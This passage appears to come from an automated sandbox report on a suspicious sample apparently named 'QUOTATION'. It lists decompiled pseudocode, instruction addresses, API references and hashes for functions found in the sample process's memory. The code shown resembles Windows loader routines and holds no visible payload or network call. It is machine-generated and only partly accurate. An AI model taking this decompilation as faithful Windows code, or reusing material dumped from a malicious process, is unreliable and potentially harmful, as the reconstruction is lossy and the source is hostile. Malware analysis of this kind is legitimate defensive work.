										 *((intOrPtr*)(_t141 - 0x5c)) = _t95;
										_t125 =  *((intOrPtr*)(_t141 - 0x28)) +  *(_t141 - 0x34) * 0x12c;
										 *((intOrPtr*)(_t141 - 0x28)) = _t125;
										 *(_t141 - 0x34) = 1;
										 *((intOrPtr*)(_t141 - 0x58)) = 1;
										if( *((intOrPtr*)(_t141 + 0xc)) >= _t125) {
											 *_t115 = 0x12c;
											_t136 =  *((intOrPtr*)( *(_t141 - 0x38) + 0x336f18a0));
											_t118 = _t136;
											 *0x338191e0( *((intOrPtr*)(_t141 - 0x20)), _t115 + 4,  *((intOrPtr*)(_t141 - 0x24)),  *((intOrPtr*)(_t141 - 0x50)),  *((intOrPtr*)(_t141 - 0x40)));
											_t88 =  *_t136();
											if(_t88 < 0) {
												goto L31;
											} else {
												_t128 =  *(_t115 + 0xc);
												if(_t128 == 0) {
													 *(_t141 - 0x34) = 0;
													 *((intOrPtr*)(_t141 - 0x58)) = 0;
													goto L28;
												} else {
													_t128 = _t128 + 0x3c;
													_t136 =  *((intOrPtr*)(_t141 - 0x20));
													_t118 = _t136;
													_t88 = E3379F5EC(_t118, _t128, _t141 - 0x54, 4);
													if(_t88 < 0) {
														goto L31;
													} else {
														_t127 =  *(_t115 + 0xc) +  *((intOrPtr*)(_t141 - 0x54));
														 *((intOrPtr*)(_t141 - 0x48)) = _t127;
														_t128 = _t127 + 8;
														_t118 = _t136;
														_t88 = E3379F5EC(_t118, _t128, _t115 + 0x124, 4);
														if(_t88 < 0) {
															goto L31;
														} else {
															_t128 =  *((intOrPtr*)(_t141 - 0x48)) + 0x58;
															_t118 = _t136;
															_t88 = E3379F5EC(_t118, _t128, _t115 + 0x120, 4);
															if(_t88 < 0) {
																goto L31;
															} else {
																_t128 =  *((intOrPtr*)(_t141 - 0x48)) + 0x34;
																_t118 = _t136;
																_t88 = E3379F5EC(_t118, _t128, _t115 + 0x128, 4);
																if(_t88 < 0) {
																	goto L31;
																} else {
																	_t115 = _t115 + 0x12c;
																	 *((intOrPtr*)(_t141 - 0x3c)) = _t115;
																	 *_t115 = 0;
																	goto L29;
																}
															}
														}
													}
												}
											}
										} else {
											_t132 = 0xc0000004;
											 *((intOrPtr*)(_t141 - 0x1c)) = 0xc0000004;
											L28:
											_t139 =  *((intOrPtr*)(_t141 - 0x20));
											L29:
											_push(_t141 - 0x24);
											_push( *((intOrPtr*)(_t141 - 0x24)));
											_push(_t139);
											_t136 =  *((intOrPtr*)( *(_t141 - 0x38) + 0x336f189c));
											continue;
										}
									} else {
										_t132 = 0xc0000229;
										L32:
										 *((intOrPtr*)(_t141 - 0x1c)) = _t132;
									}
								}
								goto L33;
							}
							goto L31;
						}
					}
					L33:
					 *(_t141 - 4) = 0xfffffffe;
					E3379EE16();
					_t84 =  *(_t141 - 0x2c) + 1;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t141 - 0x10));
				return _t132;
			}

0x3379ebd0
0x3379ebd0
0x3379ebd2
0x3379ebd7
0x3379ebdc
0x3379ebdf
0x3379ebe1
0x3379ebe6
0x3379ebe7
0x3379ebea
0x3379ebee
0x3379ebf5
0x3379ebff
0x3379ec0a
0x3379ec0f
0x3379ec12
0x3379ec01
0x3379ec01
0x3379ec06
0x3379ec06
0x3379ec14
0x3379ec17
0x3379ec1c
0x3379ec23
0x3379ec26
0x3379ec26
0x3379ec29
0x3379ec2c
0x3379ec2e
0x3379ec31
0x3379ec31
0x3379ec37
0x00000000
0x00000000
0x3379ec3d
0x3379ec44
0x3379ec4d
0x3379ec4f
0x3379ec4f
0x3379ec54
0x3379ec59
0x3379ec61
0x3379ec67
0x3379ec69
0x3379ec69
0x3379ec6c
0x3379ec70
0x3379ec73
0x3379ec81
0x3379ec81
0x3379ec87
0x3379ec89
0x3379ec8f
0x3379ec93
0x3379edf0
0x3379edf0
0x00000000
0x3379ec99
0x3379ec9d
0x3379eca6
0x3379eca7
0x3379ecaa
0x3379ecb0
0x3379edde
0x3379edde
0x3379ede0
0x3379ede6
0x3379edea
0x00000000
0x00000000
0x3379ecc1
0x3379ecc7
0x3379eccc
0x3379ecd8
0x3379ecd9
0x3379ecdc
0x3379ece9
0x3379eceb
0x3379ecf1
0x3379ecf4
0x3379ecfa
0x3379ed0e
0x3379ed24
0x3379ed2a
0x3379ed2c
0x3379ed32
0x3379ed36
0x00000000
0x3379ed3c
0x3379ed3c
0x3379ed41
0x3379edc4
0x3379edc7
0x00000000
0x3379ed43
0x3379ed49
0x3379ed4c
0x3379ed4f
0x3379ed51
0x3379ed58
0x00000000
0x3379ed5e
0x3379ed61
0x3379ed64
0x3379ed70
0x3379ed73
0x3379ed75
0x3379ed7c
0x00000000
0x3379ed7e
0x3379ed8a
0x3379ed8d
0x3379ed8f
0x3379ed96
0x00000000
0x3379ed98
0x3379eda4
0x3379eda7
0x3379eda9
0x3379edb0
0x00000000
0x3379edb2
0x3379edb2
0x3379edb8
0x3379edbd
0x00000000
0x3379edbd
0x3379edb0
0x3379ed96
0x3379ed7c
0x3379ed58
0x3379ed41
0x3379ecfc
0x3379ecfc
0x3379ed01
0x3379edca
0x3379edca
0x3379edcd
0x3379edd0
0x3379edd1
0x3379edd4
0x3379edd8
0x00000000
0x3379edd8
0x3379ecce
0x3379ecce
0x3379edf2
0x3379edf2
0x3379edf2
0x3379eccc
0x00000000
0x3379ecc1
0x00000000
0x3379edde
0x3379ec9d
0x3379edf5
0x3379edf5
0x3379edfc
0x3379ee04
0x3379ee04
0x3379ee47
0x3379ee53

APIs

RtlDebugPrintTimes.NTDLL ref: 3379EC61
RtlDebugPrintTimes.NTDLL ref: 3379EC89
RtlDebugPrintTimes.NTDLL ref: 3379ED2C
RtlDebugPrintTimes.NTDLL ref: 3379EDE0

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 79d5b224cac648e15411b20eede8b0d117adf112677483de80a24255c4e6f1b6
Instruction ID: b00edae65e61654f31b5c3e35b493ef3b55f69f0214b4b979b8d72c3fbed0edc
Opcode Fuzzy Hash: 79d5b224cac648e15411b20eede8b0d117adf112677483de80a24255c4e6f1b6
Instruction Fuzzy Hash: DF714671E102199FEF01CFA8E984ADDBBF5BF08350F04422AD905FB264D734A946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 337FA04A Relevance: 6.2, APIs: 4, Instructions: 170timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 337FA0F7
RtlDebugPrintTimes.NTDLL ref: 337FA1AA
RtlDebugPrintTimes.NTDLL ref: 337FA1CE
RtlDebugPrintTimes.NTDLL ref: 337FA1E3

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: f683ca427a4cae47b0628d972868505914ed3ec966ed0e9f68020d3af076e731
Instruction ID: 0fc4d9ee0da0e3b3838402dfc6b81e66ddcc976040616bd0b9e5e3966e4ea8c0
Opcode Fuzzy Hash: f683ca427a4cae47b0628d972868505914ed3ec966ed0e9f68020d3af076e731
Instruction Fuzzy Hash: D8518C78B10B169FEB88DE18C890A19B7F6FB89B50B15416DD906DB710EB72EC41DF80

Uniqueness

Uniqueness Score: -1.00%

Function 3379EE56 Relevance: 6.2, APIs: 4, Instructions: 150timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3379EEED
RtlDebugPrintTimes.NTDLL ref: 3379EF12
RtlDebugPrintTimes.NTDLL ref: 3379EFA4
RtlDebugPrintTimes.NTDLL ref: 3379EFF8

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 4a43b92c3a76095c78cd1b83399f8dc9d0185a3edb51a2994b8bffe31aac38d5
Instruction ID: 3d1bf4a3689b32a7e4850c8b5caee04aff37d2c22c1e2fe4a7bd6501c9b6e3aa
Opcode Fuzzy Hash: 4a43b92c3a76095c78cd1b83399f8dc9d0185a3edb51a2994b8bffe31aac38d5
Instruction Fuzzy Hash: 3A5135B5E11219DFEF04CF99E844ADDBBB6BF48351F09822AE815BB260D7349942CF50

Uniqueness

Uniqueness Score: -1.00%

Function 33757A4F Relevance: 6.1, APIs: 4, Instructions: 81
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E33757A4F(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t34;
				signed int _t35;
				signed int _t40;
				intOrPtr _t42;
				void* _t50;
				intOrPtr* _t55;
				intOrPtr* _t69;
				void* _t73;

				_t63 = __edx;
				_t51 = __ebx;
				_push(0x30);
				_push(0x337fc840);
				E33777BE4(__ebx, __edi, __esi);
				_t66 = __ecx;
				 *(_t73 - 4) =  *(_t73 - 4) & 0x00000000;
				_t69 =  *0x33815a7c;
				_push(__edx);
				if(_t69 == 0) {
					 *0x338191e0();
					E3375B490(__ecx, __edx,  *__ecx());
					_t55 =  *((intOrPtr*)(_t73 - 0x14));
					 *((intOrPtr*)(_t73 - 0x40)) =  *((intOrPtr*)( *_t55));
					 *((intOrPtr*)(_t73 - 0x24)) = _t55;
					_t34 =  *0x33815d38; // 0xc4e45828
					 *(_t73 - 0x30) = _t34;
					__eflags =  *0x338165fc; // 0x7c9ad016
					if(__eflags == 0) {
						_push(0);
						_push(4);
						_push(_t73 - 0x2c);
						_push(0x24);
						_push(0xffffffff);
						 *(_t73 - 0x1c) = E33762B20();
						__eflags =  *(_t73 - 0x1c);
						if( *(_t73 - 0x1c) < 0) {
							E33778AA0(_t55, _t63,  *(_t73 - 0x1c));
						}
						 *0x338165fc =  *(_t73 - 0x2c);
					}
					_t35 =  *0x338165fc; // 0x7c9ad016
					 *(_t73 - 0x20) = _t35;
					_push(0x20);
					asm("ror eax, cl");
					 *(_t73 - 0x34) =  *(_t73 - 0x30);
					_t40 =  *(_t73 - 0x34) ^  *(_t73 - 0x20);
					__eflags = _t40;
					 *(_t73 - 0x38) = _t40;
					if(__eflags == 0) {
						 *((intOrPtr*)(_t73 - 0x3c)) = E337D8890(_t51, _t63, _t66, 0, __eflags,  *((intOrPtr*)(_t73 - 0x24)), 0x336f50b4);
						_t42 =  *((intOrPtr*)(_t73 - 0x3c));
					} else {
						 *0x338191e0( *((intOrPtr*)(_t73 - 0x24)));
						_t42 =  *( *(_t73 - 0x38))();
					}
					 *((intOrPtr*)(_t73 - 0x28)) = _t42;
					return  *((intOrPtr*)(_t73 - 0x28));
				} else {
					 *0x338191e0();
					_t50 =  *_t69();
					 *(_t73 - 4) = 0xfffffffe;
					 *[fs:0x0] =  *((intOrPtr*)(_t73 - 0x10));
					return _t50;
				}
			}

0x33757a4f
0x33757a4f
0x33757a4f
0x33757a51
0x33757a56
0x33757a5b
0x33757a5d
0x33757a61
0x33757a67
0x33757a6a
0x337947f8
0x33794801
0x33794806
0x3379480d
0x33794810
0x33794813
0x33794818
0x3379481d
0x33794823
0x33794825
0x33794826
0x3379482b
0x3379482c
0x3379482e
0x33794835
0x33794838
0x3379483b
0x33794840
0x33794840
0x33794848
0x33794848
0x3379484d
0x33794852
0x3379485b
0x33794863
0x33794865
0x3379486b
0x3379486b
0x3379486e
0x33794871
0x33794892
0x33794895
0x33794873
0x3379487b
0x33794881
0x33794881
0x33794898
0x3379489e
0x33757a70
0x33757a72
0x33757a7c
0x337948ac
0x337948b6
0x337948c2
0x337948c2

APIs

RtlDebugPrintTimes.NTDLL ref: 33757A72
BaseThreadInitThunk.KERNEL32 ref: 33757A7C
RtlDebugPrintTimes.NTDLL ref: 337947F8
RtlDebugPrintTimes.NTDLL ref: 3379487B

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes$BaseInitThreadThunk
String ID:
API String ID: 4281723722-0
Opcode ID: 53f34116ff50a8a3a8170d3b4c60b8fbef3ab1673f9ecace471e794b127715cc
Instruction ID: 0ddc54869f42b2c56653d82ec5f92500b5336d4a5759b4f495edc5d0d6a5cb71
Opcode Fuzzy Hash: 53f34116ff50a8a3a8170d3b4c60b8fbef3ab1673f9ecace471e794b127715cc
Instruction Fuzzy Hash: 20310475E016189FDF05EFA8D849ADDBBF1BB48320F10426AE911BB390DB355941DF90

Uniqueness

Uniqueness Score: -1.00%

Function 337258E0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E337258E0(signed int __ebx, void* __edi, signed int __esi, void* __eflags, signed int _a4) {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				signed int _v32;
				char _v44;
				signed int _v48;
				signed int _v52;
				char _v56;
				signed int _v60;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				signed int _v84;
				char _v96;
				intOrPtr _v144;
				signed int _v160;
				signed int _v164;
				intOrPtr _v168;
				signed char _v176;
				intOrPtr _v180;
				char _v216;
				intOrPtr _v220;
				signed int _v228;
				intOrPtr* _v240;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				signed int _v260;
				char _v261;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v288;
				signed int _v292;
				char _v300;
				void* _v304;
				signed int _v308;
				char _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				char _v352;
				signed int* _v356;
				signed int _v360;
				signed int _v364;
				signed int _v380;
				intOrPtr _v388;
				signed int _v392;
				intOrPtr _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _t235;
				signed int _t236;
				intOrPtr* _t242;
				intOrPtr _t250;
				char _t253;
				char _t254;
				intOrPtr _t257;
				signed int _t261;
				intOrPtr _t262;
				char _t268;
				void* _t273;
				signed int* _t282;
				intOrPtr _t288;
				signed int* _t292;
				signed int _t293;
				signed int _t297;
				char _t298;
				intOrPtr _t309;
				signed int _t316;
				char _t317;
				signed int _t322;
				signed int _t323;
				char _t332;
				intOrPtr _t339;
				intOrPtr _t340;
				intOrPtr* _t342;
				signed int _t343;
				signed int _t356;
				signed int _t359;
				signed int _t360;
				signed int _t361;
				signed int _t366;
				intOrPtr* _t368;
				char* _t375;
				signed int _t377;
				signed int _t380;
				intOrPtr* _t384;
				signed int _t387;
				intOrPtr _t388;
				void* _t389;
				void* _t390;

				_t390 = __eflags;
				_t379 = __esi;
				_t341 = __ebx;
				_push(0xfffffffe);
				_push(0x337fbd28);
				_push(E3376AD20);
				_push( *[fs:0x0]);
				_t388 = _t387 - 0x184;
				_t235 =  *0x3381b370;
				_v12 = _v12 ^ _t235;
				_t236 = _t235 ^ _t387;
				_v32 = _t236;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t236);
				 *[fs:0x0] =  &_v20;
				_v28 = _t388;
				_t377 = _a4;
				_v312 = 0;
				_v260 = _t377;
				_v250 = 0;
				_v251 = 0;
				_v247 = 0;
				_v246 = 0;
				_v252 = 0;
				_v245 = 0;
				_v248 = 0;
				_v253 = 0;
				_v304 = 0;
				_v268 = 0;
				E33728120();
				_v292 =  *[fs:0x30];
				_v8 = 0;
				E337280BE(__ebx,  &_v312, _t377, __esi, _t390);
				_t347 =  &_v304;
				E33728009( &_v304);
				_t242 = _v304;
				if(_t242 != 0) {
					_t347 =  &_v244;
					 *_t242 =  &_v244;
				}
				E33768F40( &_v244, 0, 0xd4);
				_t389 = _t388 + 0xc;
				_v8 = 1;
				_v8 = 2;
				L337253C0(_t377 + 0xe0);
				_v8 = 3;
				if( *((char*)(_t377 + 0xe5)) != 0) {
					_v276 = 0xc000010a;
					L73:
					_v246 = 1;
					_v247 = 1;
					L5:
					_v8 = 2;
					E33726055(_t377);
					_t394 = _v247;
					if(_v247 != 0) {
						L67:
						_v8 = 1;
						E33726074(_t341, _t347, _t377, _t379);
						_v8 = 0;
						E33726179(_t379);
						_t379 = 0;
						__eflags = 0;
						_v276 = 0;
						_v8 = 0xfffffffe;
						_t250 = E3375B490(_t347, _t371, 0);
						L68:
						_v300 = 0;
						L12:
						if((_v84 & 0x00000001) != 0) {
							E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v96);
							_v84 = _v84 & 0xfffffffe;
							_t250 = _v276;
						}
						if(_t250 != 0) {
							_t253 = _t250 - 0x80;
							__eflags = _t253;
							if(_t253 == 0) {
								goto L67;
							}
							_t254 = _t253 - 0x40;
							__eflags = _t254;
							if(_t254 == 0) {
								_v8 = 6;
								_t347 = 0;
								E337263CB(0);
								_v8 = 2;
								goto L8;
							}
							__eflags = _t254 != 0x42;
							if(_t254 != 0x42) {
								goto L8;
							}
							_v253 = 1;
							goto L67;
						} else {
							if(_t377 != 0) {
								_t268 =  *((intOrPtr*)(_t377 + 0x110));
								__eflags = _t268;
								if(_t268 != 0) {
									L16:
									if( *((intOrPtr*)(_t377 + 0x100)) != _t268) {
										_t379 = _t377 + 0x2c;
										L33732330(_t268, _t377 + 0x2c);
										E337F4407(_t377);
										E337324D0(_t377 + 0x2c);
									}
									_t371 = _v288;
									_t347 =  &_v244;
									_t273 = E337264F0(_t341,  &_v244, _v288, _t377, _v300, _v280, _t377,  &_v245);
									if(_t273 != 0) {
										goto L67;
									} else {
										if(_v245 != _t273) {
											L8:
											_v268 = 0;
											_v64 = 0;
											_v60 = 0;
											_v56 = 0;
											_v52 = 0;
											_t341 = _v48;
											_v280 = 0x10;
											if(_t341 == 0) {
												_t257 =  *0x33816644; // 0x0
												_v392 = _t257 + 0x300000;
												_t261 = E33735D90(_t347,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t257 + 0x00300000 | 0x00000008, 0x1cc);
												__eflags = _t261;
												if(_t261 == 0) {
													L75:
													_v280 = 1;
													_t261 =  &_v64;
													L11:
													_v288 = _t261;
													_v300 = 0;
													_v8 = 5;
													_t262 =  *((intOrPtr*)(_t377 + 0x24));
													_v396 = _t262;
													_push( &_v96);
													_t347 =  &_v300;
													_push( &_v300);
													_push(_v280);
													_push(_v288);
													_push(_t262);
													_t250 = E337646E0();
													_v276 = _t250;
													_v8 = 2;
													if(_t250 != 0) {
														goto L68;
													}
													goto L12;
												}
												_t181 = _t261 + 0x1c0; // 0x1c0
												_t366 = _t181;
												 *_t366 = _t261;
												 *((intOrPtr*)(_t366 + 4)) = 1;
												 *((intOrPtr*)(_t366 + 8)) = 0x10;
												_v48 = _t366;
												_v280 = 0x10;
												goto L11;
											}
											if( *((intOrPtr*)(_t341 + 4)) != 1) {
												goto L75;
											}
											_t379 = _v48;
											E33768F40( *_t379, 0,  *(_t379 + 8) * 8 -  *(_t379 + 8) << 2);
											_t389 = _t389 + 0xc;
											_v280 =  *(_t379 + 8);
											_t261 =  *_t341;
											goto L11;
										}
										_t379 = _v64;
										if(_t379 != 0) {
											_v400 = _t379;
											_v168 =  *((intOrPtr*)(_t379 + 0x20));
											_v164 = _t379;
											_t372 =  &_v244;
											L33726D91(_t377,  &_v244,  *((intOrPtr*)(_t379 + 0x24)),  *(_t379 + 0x28) & 0x000000ff);
											E33726D60( &_v216);
											_v8 = 7;
											_t342 =  *((intOrPtr*)(_t379 + 0x20));
											_push( &_v56);
											_push(_v60);
											_push(_t379);
											_push( &_v216);
											__eflags = _t342 - E33726E00;
											if(_t342 == E33726E00) {
												E33726E00( &_v216);
												L33:
												_v8 = 2;
												L34:
												if((_v176 & 0x00000004) != 0) {
													_v248 = 1;
												}
												_v261 = _v180 == 4;
												_v8 = 9;
												E337261C3( &_v216, _t372);
												_v8 = 2;
												_v228 = 0;
												if(_v248 != 0) {
													_t282 = _t377 + 8;
													_v308 = _t282;
													_t343 =  *_t282;
													_t356 = _t282[1];
													_v328 = _t343;
													_v324 = _t356;
													goto L86;
													do {
														do {
															L86:
															_t380 = _t343;
															_v272 = _t380;
															_t371 = _t356;
															_v380 = _t371;
															_v328 = (_t380 + 0x00000001 ^ _t380) & 0x0000ffff ^ _t380;
															_t379 = _v308;
															asm("lock cmpxchg8b [esi]");
															_t343 = _t380;
															_v328 = _t343;
															_t356 = _t371;
															_v324 = _t356;
															__eflags = _t343 - _v272;
														} while (_t343 != _v272);
														__eflags = _t356 - _v380;
													} while (_t356 != _v380);
													_v352 = 3;
													_push(4);
													_push( &_v352);
													_push(9);
													_push( *((intOrPtr*)(_t377 + 0x24)));
													E337643A0();
												} else {
													_t288 =  *((intOrPtr*)(_t377 + 0x110));
													if(_t288 == 0) {
														_t288 =  *0x7ffe03c0;
													}
													if( *((intOrPtr*)(_t377 + 0x100)) != _t288) {
														L33732330(_t288, _t377 + 0x2c);
														E337F4407(_t377);
														E337324D0(_t377 + 0x2c);
													}
													_t292 = _t377 + 8;
													_v356 = _t292;
													_t379 =  *_t292;
													_t347 = _t292[1];
													_v320 = _t379;
													_v316 = _t347;
													while(1) {
														_t341 = _t379;
														_v360 = _t341;
														_t371 = _t347;
														_v364 = _t371;
														_t293 = _t341 & 0x0000ffff;
														_v308 = _t293;
														if( *((char*)(_t377 + 0xe4)) != 0) {
															goto L67;
														}
														if(_t371 != 0) {
															__eflags = _t293;
															if(_t293 < 0) {
																__eflags = _v261;
																if(_v261 == 0) {
																	goto L41;
																}
															}
															_v249 = 0;
															_v316 = _t371 - 1;
															L42:
															_t297 = _t341;
															_t341 = _t379;
															asm("lock cmpxchg8b [esi]");
															_t379 = _t297;
															_v320 = _t379;
															_t347 = _t371;
															_v316 = _t347;
															if(_t379 != _v360 || _t347 != _v364) {
																continue;
															} else {
																_t298 = _v249;
																_v245 = _t298;
																if(_t298 != 0) {
																	goto L8;
																}
																goto L20;
															}
														}
														L41:
														_v249 = 1;
														_t379 = (_v308 + 0x00000001 ^ _t341) & 0x0000ffff ^ _t341;
														_v320 = _t379;
														goto L42;
													}
												}
												goto L67;
											}
											__eflags = _t342 - E33727290;
											if(_t342 != E33727290) {
												__eflags = _t342 - E33725570;
												if(_t342 != E33725570) {
													 *0x338191e0();
													 *_t342();
													_v8 = 2;
													goto L34;
												}
												E33725570( &_v216);
												goto L33;
											}
											E33727290();
											goto L33;
										}
										L20:
										_push( &_v272);
										_t371 =  &_v244;
										_t347 = _t377;
										if(L33726970(_t377,  &_v244) == 0) {
											goto L67;
										}
										if((_v84 & 0x00000001) != 0) {
											E3371BE18( &_v216);
											_v84 = _v84 & 0xfffffffe;
										}
										_t359 = _v272;
										_v228 = _t359;
										_v168 =  *((intOrPtr*)( *_t359));
										_v164 = _t359;
										_v144 = _v220;
										_t360 =  *[fs:0x18];
										_v80 =  *((intOrPtr*)(_t360 + 0xf50));
										_v76 =  *((intOrPtr*)(_t360 + 0xf54));
										_v72 =  *((intOrPtr*)(_t360 + 0xf58));
										_v68 =  *((intOrPtr*)(_t360 + 0xf5c));
										_t309 = _v220;
										if(_t309 != 0 && ( *(_t309 + 0x10c) & 0x00000001) == 0) {
											_t372 = _v160 | 0x00000008;
											_v160 = _t372;
											_t316 =  *[fs:0x18];
											_v408 = _t316;
											if( *((intOrPtr*)(_t316 + 0xf9c)) != 0) {
												_t317 = 1;
											} else {
												_t317 = 0;
											}
											if(_t317 != 0) {
												_t372 = _t372 | 0x00000004;
												_v160 = _t372;
											}
											if(E33726929() != 0) {
												_v160 = _t372;
											}
											if( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xa0)) + 0xc)) ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
												_v160 = _v160 | 0x00000020;
											}
											_t322 =  *[fs:0x18];
											_v404 = _t322;
											if( *((intOrPtr*)(_t322 + 0xfb8)) != 0) {
												_v160 = _v160 | 0x00000040;
											}
											_t323 =  *[fs:0x18];
											_v380 = _t323;
											if( *((intOrPtr*)(_t323 + 0xf88)) != 0) {
												_v160 = _v160 | 0x00000080;
											}
										}
										_v8 = 8;
										_t361 = _v272;
										_t384 =  *((intOrPtr*)( *_t361));
										_push(_t361);
										_push( &_v216);
										if(_t384 != E33726B70) {
											__eflags = _t384 - E337256E0;
											if(_t384 != E337256E0) {
												 *0x338191e0();
												 *_t384();
											} else {
												E337256E0(_t361);
											}
										} else {
											E33726B70();
										}
										goto L33;
									}
								}
							}
							_t268 =  *0x7ffe03c0;
							goto L16;
						}
					}
					E33727F98(_t341, _t377,  &_v244, _t377, _t379, _t394);
					_v252 = 1;
					_t379 = _v292;
					L33732330(_t379 + 0x250, _t379 + 0x250);
					_v8 = 4;
					_t332 = _t379 + 0x254;
					_t368 =  *((intOrPtr*)(_t332 + 4));
					if( *_t368 != _t332) {
						asm("int 0x29");
						__eflags = _v292 + 0x250;
						return E337324D0(_v292 + 0x250);
					}
					_v244 = _t332;
					_v240 = _t368;
					_t375 =  &_v244;
					 *_t368 = _t375;
					 *((intOrPtr*)(_t332 + 4)) = _t375;
					_v251 = 1;
					_v8 = 2;
					L71();
					E33768F40( &_v216, 0, 0x98);
					_t389 = _t389 + 0xc;
					asm("lock inc dword [edi+0xf8]");
					_v250 = 1;
					_t371 =  &_v44;
					_t347 = _t377;
					E33724A09(_t377,  &_v44, 0);
					goto L8;
				}
				_t339 =  *((intOrPtr*)(_t377 + 0x24));
				_v388 = _t339;
				_push(_t339);
				_t340 = E337629A0();
				_v276 = _t340;
				if(_t340 < 0) {
					goto L73;
				}
				asm("lock inc dword [edi]");
				_v246 = 1;
				goto L5;
			}

0x337258e0
0x337258e0
0x337258e0
0x337258e5
0x337258e7
0x337258ec
0x337258f7
0x337258f8
0x337258fe
0x33725903
0x33725906
0x33725908
0x3372590b
0x3372590c
0x3372590d
0x3372590e
0x33725912
0x33725918
0x3372591b
0x3372591e
0x33725928
0x3372592e
0x33725935
0x3372593c
0x33725943
0x3372594a
0x33725951
0x33725958
0x3372595f
0x33725966
0x33725970
0x3372597a
0x33725985
0x3372598b
0x33725998
0x3372599d
0x337259a3
0x337259a8
0x337259b0
0x337259b2
0x337259b8
0x337259b8
0x337259c8
0x337259cd
0x337259d0
0x337259d7
0x337259e5
0x337259ea
0x337259f8
0x33780745
0x3378074f
0x3378074f
0x33780756
0x33725a25
0x33725a25
0x33725a2c
0x33725a31
0x33725a38
0x33725fef
0x33725fef
0x33725ff6
0x33725ffb
0x33726002
0x33726007
0x33726007
0x33726009
0x3372600f
0x33726017
0x3372601c
0x3372601c
0x33725b95
0x33725b99
0x33725f2d
0x33725f32
0x33725f36
0x33725f36
0x33725ba1
0x33725fcf
0x33725fcf
0x33725fd4
0x00000000
0x00000000
0x33725fd6
0x33725fd6
0x33725fd9
0x337807dc
0x337807e3
0x337807e5
0x337807ea
0x00000000
0x337807ea
0x33725fdf
0x33725fe2
0x00000000
0x00000000
0x33725fe8
0x00000000
0x33725ba7
0x33725ba9
0x33725e71
0x33725e77
0x33725e79
0x33725bb4
0x33725bba
0x33780836
0x3378083a
0x33780841
0x33780847
0x33780847
0x33725bd4
0x33725bda
0x33725be0
0x33725be7
0x00000000
0x33725bed
0x33725bf3
0x33725ae0
0x33725ae0
0x33725aec
0x33725aef
0x33725af2
0x33725af5
0x33725af8
0x33725afb
0x33725b07
0x33725f69
0x33725f73
0x33725f8b
0x33725f90
0x33725f92
0x3378077f
0x3378077f
0x33780789
0x33725b43
0x33725b43
0x33725b49
0x33725b53
0x33725b5a
0x33725b5d
0x33725b66
0x33725b67
0x33725b6d
0x33725b6e
0x33725b74
0x33725b7a
0x33725b7b
0x33725b80
0x33725b86
0x33725b8f
0x00000000
0x00000000
0x00000000
0x33725b8f
0x33725f98
0x33725f98
0x33725f9e
0x33725fa0
0x33725fa7
0x33725fae
0x33725fb1
0x00000000
0x33725fb1
0x33725b13
0x00000000
0x00000000
0x33725b19
0x33725b30
0x33725b35
0x33725b3b
0x33725b41
0x00000000
0x33725b41
0x33725bf9
0x33725bfe
0x33725e84
0x33725e8d
0x33725e93
0x33725ea1
0x33725ea9
0x33725eb4
0x33725eb9
0x33725ec0
0x33725ec6
0x33725ec7
0x33725ed0
0x33725ed1
0x33725ed2
0x33725ed8
0x33725f15
0x33725d52
0x33725d52
0x33725d59
0x33725d60
0x33780909
0x33780909
0x33725d6d
